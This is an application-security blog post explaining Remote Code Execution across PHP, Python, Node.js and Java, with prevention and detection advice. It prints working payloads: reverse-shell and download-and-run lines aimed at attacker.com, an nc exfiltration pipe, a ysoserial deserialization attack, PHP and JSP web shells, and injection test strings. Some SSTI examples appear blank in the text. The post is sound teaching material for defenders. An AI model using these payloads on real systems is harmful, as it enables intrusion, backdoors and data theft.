Remote Code Execution (RCE)
Thilan Dissanayaka Application Security January 02, 2020

Remote Code Execution (RCE)

Remote Code Execution. Three words that make any security engineer’s blood pressure spike. RCE is the holy grail of vulnerabilities — it gives an attacker the ability to execute arbitrary code on your server, from the other side of the internet. Not just read your data. Not just crash your app. Run whatever they want.

When I first wrote about this topic years ago, I only covered the basics — a PHP shell_exec() example with command injection. Since then, I’ve worked extensively with Java, explored deserialization attacks, dug into template injection, and seen how RCE manifests across very different tech stacks. This is a complete rewrite that reflects everything I’ve learned.

Let’s go deep.

What is Remote Code Execution?

Remote Code Execution (RCE) is a class of vulnerability that allows an attacker to execute arbitrary code or commands on a target machine remotely — typically over a network. The “remote” part is what makes it devastating. The attacker doesn’t need physical access or even a user account. They just need a crafted HTTP request, a malicious payload, or a poisoned input.

RCE is consistently rated as one of the most critical vulnerability types. In the OWASP Top 10, it falls under A03:2021 — Injection. In the CVSS scoring system, RCE vulnerabilities almost always score 9.0+ (Critical).

The consequences of RCE include:

  • Full server compromise — The attacker can read, modify, or delete any file the application has access to
  • Lateral movement — From one compromised server, the attacker pivots deeper into the network
  • Data exfiltration — Databases, credentials, API keys, customer data — all exposed
  • Backdoor installation — Persistent access even after the vulnerability is patched
  • Cryptomining, ransomware, botnet recruitment — Your server becomes their resource

Now, here’s an important distinction that often gets blurred.

RCE vs Command Injection — What’s the Difference?

These terms get used interchangeably, but they’re not the same thing.

Command Injection (also called OS Command Injection) is a specific type of RCE where the attacker injects operating system commands into a system shell. The application passes user input to something like bash, sh, or cmd.exe, and the attacker sneaks in extra commands.

Remote Code Execution is the broader category. It includes command injection, but also covers:

  • Code injection — Injecting code in the application’s own language (PHP, Python, Java)
  • Deserialization attacks — Exploiting unsafe deserialization to execute arbitrary code
  • Template injection — Injecting code through server-side template engines
  • File upload attacks — Uploading and executing malicious scripts
  • Memory corruption — Buffer overflows, use-after-free, etc. (more common in C/C++)

Think of it this way: all command injection is RCE, but not all RCE is command injection.

Let’s explore each attack vector with real examples.

1. OS Command Injection

This is the classic one — and still surprisingly common. It happens when user input is concatenated into a shell command without proper sanitization.

The Vulnerable Pattern

Almost every language has functions that execute system commands:

Language Dangerous Functions
PHP exec(), system(), shell_exec(), passthru(), popen()
Python os.system(), os.popen(), subprocess.call(shell=True)
Java Runtime.getRuntime().exec(), ProcessBuilder
Node.js child_process.exec(), child_process.execSync()
Ruby `backticks`, system(), exec(), %x()

PHP Example

Consider a web application where users can ping a host to check if it’s online:

<?php
if (isset($_GET['host'])) {
    $host = $_GET['host'];
    $output = shell_exec("ping -c 4 " . $host);
    echo "<pre>$output</pre>";
}
?>

Looks innocent enough. But an attacker sends:

GET /ping.php?host=localhost;cat+/etc/passwd

The server executes:

ping -c 4 localhost; cat /etc/passwd

The semicolon terminates the ping command and starts a new one. The attacker just read your /etc/passwd file. And they won’t stop there:

# Reverse shell — attacker gets interactive access
localhost; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Download and execute malware
localhost; curl http://attacker.com/backdoor.sh | bash

# Exfiltrate environment variables (database credentials, API keys)
localhost; env

Python Example

Same vulnerability, different language:

import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/lookup')
def dns_lookup():
    domain = request.args.get('domain')
    output = os.popen(f"nslookup {domain}").read()
    return f"<pre>{output}</pre>"

Attack: GET /lookup?domain=example.com;id

The f-string concatenation makes this trivially exploitable. The os.popen() call passes the entire string to the shell, which happily executes both commands.

Node.js Example

const express = require('express');
const { execSync } = require('child_process');

app.get('/status', (req, res) => {
    const host = req.query.host;
    const output = execSync(`ping -c 4 ${host}`);
    res.send(`<pre>${output}</pre>`);
});

Same story. Template literals in JavaScript make it easy to build strings, and just as easy to introduce injection vulnerabilities.

Injection Operators

The semicolon isn’t the only way to chain commands. Attackers have a whole toolkit:

Operator Behavior Example
; Execute sequentially ping localhost; id
&& Execute if previous succeeds ping localhost && id
\|\| Execute if previous fails ping invalidhost \|\| id
\| Pipe output ping localhost \| nc attacker.com 4444
` Command substitution ping `whoami`.attacker.com
$() Command substitution ping $(whoami).attacker.com
\n Newline (URL-encoded: %0a) ping localhost%0aid

That last one — newline injection — catches a lot of developers off guard. Even if you filter semicolons and pipes, a URL-encoded newline can still break out of the command.

2. Code Injection

Code injection is when attacker input is executed as code in the application’s own language. Instead of breaking out to the OS shell, the attacker runs code within the application runtime.

PHP eval() Injection

PHP’s eval() function is the textbook example:

<?php
// A "calculator" that evaluates user expressions
$expression = $_GET['expr'];
eval('$result = ' . $expression . ';');
echo "Result: $result";
?>

Intended use: ?expr=2+2 → Result: 4

Attacker: ?expr=system('cat /etc/passwd') → Dumps the password file

The eval() function treats the string as PHP code and executes it. Any user input that reaches eval() is a guaranteed RCE.

Python eval() / exec()

Python has the same problem:

# A "math API" that evaluates expressions
@app.route('/calc')
def calculate():
    expr = request.args.get('expr')
    result = eval(expr)
    return str(result)

Attack: ?expr=__import__('os').system('id')

Python’s eval() can execute arbitrary expressions, including importing modules. And __import__('os').system() gives you OS command execution.

Even exec() is dangerous:

# Dynamic report generation — user provides the format
exec(f"format_report(data, style='{user_input}')")

Attack: '); import os; os.system('id'); #

The injected code closes the string, breaks out of the function call, and executes arbitrary commands.

3. Java Deserialization — The Silent Killer

This is where things get really interesting, and where my experience with Java deepened my understanding of RCE significantly.

Java deserialization vulnerabilities are some of the most devastating RCE bugs out there. They’ve led to major breaches and affected massive platforms — Apache Struts, Jenkins, WebLogic, JBoss, you name it.

What is Serialization?

In Java, serialization is the process of converting an object into a byte stream so it can be stored or transmitted. Deserialization is the reverse — reconstructing the object from the byte stream.

// Serialization — object to bytes
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("data.ser"));
out.writeObject(myObject);

// Deserialization — bytes back to object
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data.ser"));
MyClass obj = (MyClass) in.readObject();

The problem? When Java deserializes an object, it automatically calls certain methods on that object — constructors, readObject(), readResolve(), finalize(). If an attacker can control the byte stream being deserialized, they can craft a malicious object that triggers arbitrary code execution during deserialization.

The Gadget Chain

The attacker doesn’t write their own class — they abuse classes that already exist in the application’s classpath. These are called gadget chains. The idea is to find a sequence of existing classes where:

  1. Class A’s readObject() calls a method on field B
  2. That method on B triggers a method on field C
  3. Eventually, the chain reaches a class that can execute OS commands

The most famous gadget chain uses Apache Commons Collections — a library so common in Java applications that it’s almost always on the classpath.

Here’s a simplified view of how the CommonsCollections1 chain works:

InvokerTransformer.transform()
  → calls Method.invoke()
    → calls Runtime.getRuntime().exec("calc.exe")

The attacker crafts a serialized object that, when deserialized, triggers this chain automatically. No special permissions needed. No authentication bypassed. Just send a byte stream, and the server executes your command.

Exploiting It — ysoserial

ysoserial is the go-to tool for generating deserialization payloads:

# Generate a payload that executes "id" using the CommonsCollections1 chain
$ java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser

# Send it to a vulnerable endpoint
$ curl -X POST --data-binary @payload.ser \
    -H "Content-Type: application/x-java-serialized-object" \
    http://target.com/api/deserialize

Some real-world attack surfaces for Java deserialization:

  • HTTP request bodies — APIs that accept serialized Java objects
  • Cookies — Session data stored as serialized objects
  • RMI (Remote Method Invocation) — Java’s remote procedure call mechanism
  • JMX (Java Management Extensions) — Management interfaces
  • Custom protocols — Any network protocol that transmits serialized objects

How to Spot It

Java serialized objects always start with the magic bytes AC ED 00 05 (hex) or rO0AB (base64). If you see these in HTTP traffic, cookies, or stored data — that’s a deserialization surface.

# Check if a file is a Java serialized object
$ xxd data.bin | head -1
00000000: aced 0005 7372 0011 ...
#         ^^^^ ^^^^
#         Java serialization magic bytes

Real-World Impact

  • Apache Struts (CVE-2017-5638) — The Equifax breach. A deserialization vulnerability in the Struts framework led to the theft of 147 million Americans’ personal data. One of the largest data breaches in history.
  • Apache Log4j (CVE-2021-44228) — Log4Shell. Not strictly deserialization, but JNDI injection leading to RCE. Affected virtually every Java application that used Log4j.
  • Oracle WebLogic (CVE-2019-2725) — Unauthenticated RCE via XMLDecoder deserialization. Actively exploited in the wild.
  • Jenkins (CVE-2017-1000353) — Unauthenticated RCE via Java deserialization in the Jenkins CLI.

Prevention

// NEVER deserialize untrusted data with ObjectInputStream directly

// Option 1: Use a whitelist filter (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;!*"  // Only allow your own classes
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);

// Option 2: Don't use Java serialization at all
// Use JSON (Jackson, Gson) or Protocol Buffers instead
ObjectMapper mapper = new ObjectMapper();
MyClass obj = mapper.readValue(jsonString, MyClass.class);

The best defense is to stop using Java’s native serialization for any data that crosses a trust boundary. Use JSON, Protocol Buffers, or any format that doesn’t allow arbitrary code execution during parsing.

4. Server-Side Template Injection (SSTI)

Template engines are used everywhere — Jinja2 (Python), Thymeleaf (Java), Twig (PHP), EJS (Node.js). They let you generate dynamic HTML by embedding expressions in templates. The problem arises when user input is embedded directly into the template instead of being passed as data.

The Difference

Safe — User input is passed as a variable:

# Jinja2 — user input is data, not code
return render_template("hello.html", name=user_input)
<!-- hello.html -->
<h1>Hello, !</h1>

Even if name is , it renders as the literal string. The template engine treats it as data.

Vulnerable — User input is part of the template itself:

# User input becomes part of the template string
template = f"<h1>Hello, {user_input}!</h1>"
return render_template_string(template)

Now if user_input is ``, it renders as Hello, 49!. The template engine evaluated the expression. And if the engine can evaluate math, it can probably do a lot more.

Escalating to RCE

In Jinja2 (Python), once you have template injection, you can traverse Python’s object hierarchy to reach dangerous classes:


This lists all subclasses of object — hundreds of them. Among them, you’ll find classes like subprocess.Popen or os._wrap_close that can execute commands:


The index 407 varies by Python version, but the concept is the same — you walk the class hierarchy until you find something that can run OS commands.

Java — Thymeleaf SSTI

Thymeleaf, commonly used with Spring Boot, is also vulnerable if user input reaches template expressions:

// Vulnerable — user controls the template path
@GetMapping("/page")
public String viewPage(@RequestParam String section) {
    return "content/" + section;  // Thymeleaf resolves this as a template name
}

Attack payload:

/page?section=__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

Thymeleaf’s expression language (${...}) can call Java methods directly. T(java.lang.Runtime) accesses the Runtime class, and .exec() runs the command.

Detection

A simple way to test for SSTI is to inject mathematical expressions and see if they get evaluated:

       → 49    (Jinja2, Twig)
${7*7}        → 49    (Thymeleaf, FreeMarker, EL)
#{7*7}        → 49    (Ruby ERB, Java EL)
<%= 7*7 %>    → 49    (EJS, ERB)

If you see 49 in the response instead of the literal string, you’ve got template injection.

5. File Upload to RCE

This is a classic attack path — upload a malicious file that the server then executes. It’s especially common in PHP applications where the web server automatically executes .php files in the upload directory.

The Attack

<?php
// Vulnerable upload handler — no validation
$target = "uploads/" . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target);
echo "File uploaded to: $target";
?>

The attacker uploads a file named shell.php:

<?php system($_GET['cmd']); ?>

Then accesses it:

GET /uploads/shell.php?cmd=whoami

The web server executes the PHP file, and the attacker has a web shell — RCE through a simple file upload.

Beyond PHP

This isn’t limited to PHP. JSP files on Tomcat/JBoss, ASPX files on IIS, and even configuration files can lead to RCE:

<%-- shell.jsp — web shell for Java application servers --%>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
    out.println(line);
}
%>

Prevention

  • Never store uploads in a web-accessible directory — Store them outside the web root or in cloud storage (S3)
  • Validate file types — Check MIME types, file extensions, and magic bytes (not just the extension)
  • Rename uploaded files — Use a random UUID instead of the original filename
  • Disable execution in upload directories — Configure your web server to not execute scripts in the uploads folder
  • Use a separate domain — Serve uploaded content from a different domain (e.g., uploads.example.com)

Prevention — A Defense in Depth Approach

There’s no single fix for RCE. It manifests in too many ways. Instead, you need layers of defense.

At the Code Level

For command injection:

// PHP — use escapeshellarg() for individual arguments
$host = escapeshellarg($userInput);
$output = shell_exec("ping -c 4 " . $host);

// Better — avoid shell execution entirely
// Use language-native libraries instead of shelling out
$ip = gethostbyname($userInput);
# Python — use subprocess with a list (no shell=True)
import subprocess
result = subprocess.run(
    ["ping", "-c", "4", user_input],  # List, not string
    capture_output=True,
    text=True
)
# Each element is a separate argument — no injection possible
// Java — use ProcessBuilder with argument list
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", userInput);
Process process = pb.start();
// Arguments are passed directly to the process, not through a shell

The key insight: pass arguments as a list, not a string. When you pass a string, it goes through a shell that interprets special characters. When you pass a list, each element is treated as a literal argument.

For code injection:

  • Never use eval(), exec(), Function(), or any dynamic code execution function with user input
  • If you need dynamic behavior, use a safe DSL or expression language with a restricted sandbox

For deserialization:

  • Don’t deserialize untrusted data with Java’s ObjectInputStream
  • Use JSON, Protocol Buffers, or MessagePack instead
  • If you must use Java serialization, implement strict whitelisting with ObjectInputFilter
  • Keep libraries like Apache Commons Collections, Spring, and other common gadget sources updated

For SSTI:

  • Always pass user input as data to templates, never as part of the template string itself
  • Use template engine sandboxing features where available
  • Audit any code that uses render_template_string() or equivalent

At the Infrastructure Level

  • Principle of least privilege — Run your application with minimal permissions. If the app gets compromised, limit the damage
  • Network segmentation — The web server shouldn’t have direct access to your database server or internal network
  • WAF (Web Application Firewall) — Deploy a WAF to catch common injection patterns. Not a complete solution, but a useful layer
  • Disable unnecessary functions — In PHP, use disable_functions in php.ini. In Java, use a SecurityManager (though deprecated in newer versions)
  • Container isolation — Run applications in containers with read-only filesystems and no network access to internal services
  • Egress filtering — Block outbound connections from your application server. If a reverse shell can’t connect out, the RCE is significantly less useful

Detecting RCE Vulnerabilities

Manual Testing

When testing for command injection, try these payloads:

# Inline execution test
; id
| id
|| id
&& id
`id`
$(id)
%0aid

# Time-based detection (blind RCE)
; sleep 10
| sleep 10
&& sleep 10

# DNS-based detection (blind RCE)
; nslookup test.yourdomain.com
$(nslookup test.yourdomain.com)
`nslookup test.yourdomain.com`

The time-based approach is useful when you can’t see the command output. If the response takes 10 seconds longer than normal, your sleep command executed.

The DNS-based approach is even more reliable. Set up a DNS server you control (or use Burp Collaborator / interactsh), inject an nslookup command, and check if the DNS query arrives. If it does — you have RCE, even if the application shows no visible output.

Automated Tools

  • Burp Suite — The industry standard for web application testing. Its scanner can detect many injection vulnerabilities
  • Commix — A dedicated command injection exploitation tool. Give it a URL with an injection point and it does the rest
  • Nuclei — Template-based scanner with a massive library of RCE detection templates
  • OWASP ZAP — Free, open-source alternative to Burp Suite

Final Thoughts

RCE is the vulnerability that keeps security teams up at night, and for good reason. It’s the shortest path from “web application bug” to “full server compromise.” And it shows up everywhere — in PHP scripts, Java enterprise applications, Python web frameworks, and Node.js APIs.

What I’ve learned over the years is that RCE isn’t just about one bad function call. It’s about understanding how your application processes data at every layer — from HTTP parameters to template engines to serialization formats. The attack surface is wider than most developers realize.

If there’s one takeaway from this post, it’s this: never trust user input, and never pass it to anything that can execute it as code or commands. Whether that’s shell_exec(), eval(), ObjectInputStream.readObject(), or render_template_string() — the moment untrusted data reaches an execution context, you have a potential RCE.

Stay paranoid. Validate everything.

ALSO READ
Exploiting a Stack Buffer Overflow on Windows
Apr 12, 2020 Exploit Development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01, 2020 Exploit Development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Basic concepts of Cryptography
Mar 01, 2020 Cryptography

Ever notice that little padlock icon in your browser's address bar? That's cryptography working silently in the background, protecting everything you do online. Whether you're sending an email,...

Remote Code Execution (RCE)
Jan 02, 2020 Application Security

Remote Code Execution (RCE) is the holy grail of application security vulnerabilities. It allows an attacker to execute arbitrary code on a remote server — and the consequences are as bad as it sounds. In this post, we'll go deep into RCE across multiple languages, including PHP, Java, Python, and Node.js.

> > >